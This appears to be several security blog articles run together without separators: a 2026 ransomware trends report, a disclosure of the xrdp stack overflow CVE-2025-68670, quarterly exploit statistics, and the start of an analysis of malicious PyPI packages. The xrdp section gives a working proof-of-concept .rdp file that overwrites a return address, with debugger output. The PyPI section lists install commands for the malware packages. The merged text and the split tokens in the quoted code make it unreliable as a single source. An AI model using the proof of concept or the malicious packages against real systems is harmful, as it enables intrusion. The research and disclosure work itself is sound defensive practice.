By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

• Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
• MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
• DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
• NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
• Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
• Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
• Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{ [..SNIP..] char username[INFO_CLIENT_MAX_CB_LEN]; char password[INFO_CLIENT_MAX_CB_LEN]; char domain[INFO_CLIENT_MAX_CB_LEN]; char program[INFO_CLIENT_MAX_CB_LEN]; char directory[INFO_CLIENT_MAX_CB_LEN]; [..SNIP..] }

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2] { [..SNIP..] }

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len) { int rv = 0; LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len); if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in")) { rv = 1; } else { int term; int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2, dst, dst_len); if (num_chars > dst_len) // [3] { LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1; } / / String should be null-terminated. We haven't read the terminator yet in_uint16_le(s, term); if (term != 0) { LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term); rv = 1; } } return rv; }

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{ unsigned int rv = 0; char32_t c32; char u8str[MAXLEN_UTF8_CHAR]; unsigned int u8len; char *saved_s_end = s->end; // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK parser_stream_overflow_check(s, n * 2, 0, file, line); #endif // Temporarily set the stream end pointer to allow us to use // s_check_rem() when reading in UTF-16 words if (s->end - s->p > (int)(n * 2)) { s->end = s->p + (int)(n * 2); } while (s_check_rem(s, 2)) { c32 = get_c32_from_stream(s); u8len = utf_char32_to_utf8(c32, u8str); if (u8len + 1 <= vn) // [4] { /* Room for this character and a terminator. Add the character */ unsigned int i; for (i = 0 ; i < u8len ; ++i) { v[i] = u8str[i]; } v n -= u8len; v += u8len; } else if (vn > 1) { /* We've skipped a character, but there's more than one byte * remaining in the output buffer. Mark the output buffer as * full so we don't get a smaller character being squeezed into * the remaining space */ vn = 1; } r v += u8len; } // Restore stream to full length s->end = saved_s_end; if (vn > 0) { *v = '\0'; // [5] } + +rv; return rv; }

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax, int decode, char *resultBuffer) xrdp_login_wnd_create(struct xrdp_wm *self) xrdp_wm_init(struct xrdp_wm *self) xrdp_wm_login_state_changed(struct xrdp_wm *self) xrdp_wm_check_wait_objs(struct xrdp_wm *self) xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7] [..SNIP..] combo->item_index = xrdp_wm_parse_domain_information( self->session->client_info->domain, // [6] combo->data_list->count, 1, resultIP /* just a dummy place holder, we ignore */ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax, int decode, char *resultBuffer) { int ret; int pos; int comboxindex; char index[2]; /* If the first char in the domain name is '_' we use the domain name as IP*/ ret = 0; /* default return value */ /* resultBuffer assumed to be 256 chars */ g_memset(resultBuffer, 0, 256); if (originalDomainInfo[0] == '_') // [8] { /* we try to locate a number indicating what combobox index the user * prefer the information is loaded from domain field, from the client * We must use valid chars in the domain name. * Underscore is a valid name in the domain. * Invalid chars are ignored in microsoft client therefore we use '_' * again. this sec '__' contains the split for index.*/ pos = g_pos(&originalDomainInfo[1], "__"); // [9] if (pos > 0) { /* an index is found we try to use it */ LOG(LOG_LEVEL_DEBUG, "domain contains index char __"); if (decode) { [..SNIP..] } / * pos limit the String to only contain the IP */ g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10] } else { LOG(LOG_LEVEL_DEBUG, "domain does not contain _"); g_strncpy(resultBuffer, &originalDomainInfo[1], 255); } } return ret; }

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7 full address:s:172.22.118.7 domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0 username:s:testuser

When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➤ bt #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44 #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78 #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89 #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26 #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79 #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156 #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26 #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24 #8 0x000063654a2e5ad5 in ?? () #9 0x4141414141414141 in ?? () #10 0x00007adb00000a00 in ?? () #11 0x0000000000050004 in ?? () #12 0x00007fff91732220 in ?? () #13 0x000000000000030a in ?? () #14 0xfffffffffffffff8 in ?? () #15 0x000000052dc71740 in ?? () #16 0x3030305f70647278 in ?? () #17 0x616d5f6130333030 in ?? () #18 0x00636e79735f6e69 in ?? () #19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
• CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

• CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
• CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

• uuid32-utils library for generating a 32-character random string as a UUID
• colorinal library for implementing cross-platform color terminal text
• termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command File name First upload date Author / Email pip install uuid32-utils uuid32_utils-1.x.x-py3-none-[OS platform].whl 2025-07-16 laz**** / laz****@tutamail.com pip install colorinal colorinal-0.1.7-py3-none-[OS platform].whl 2025-07-22 sym**** / sym****@proton.me pip install termncolor termncolor-3.1.0-py3-none-any.whl 2025-07-22 sym**** / sym****@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Distribution information of the colorinal project

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

The termncolor library imports the malicious colorinal library

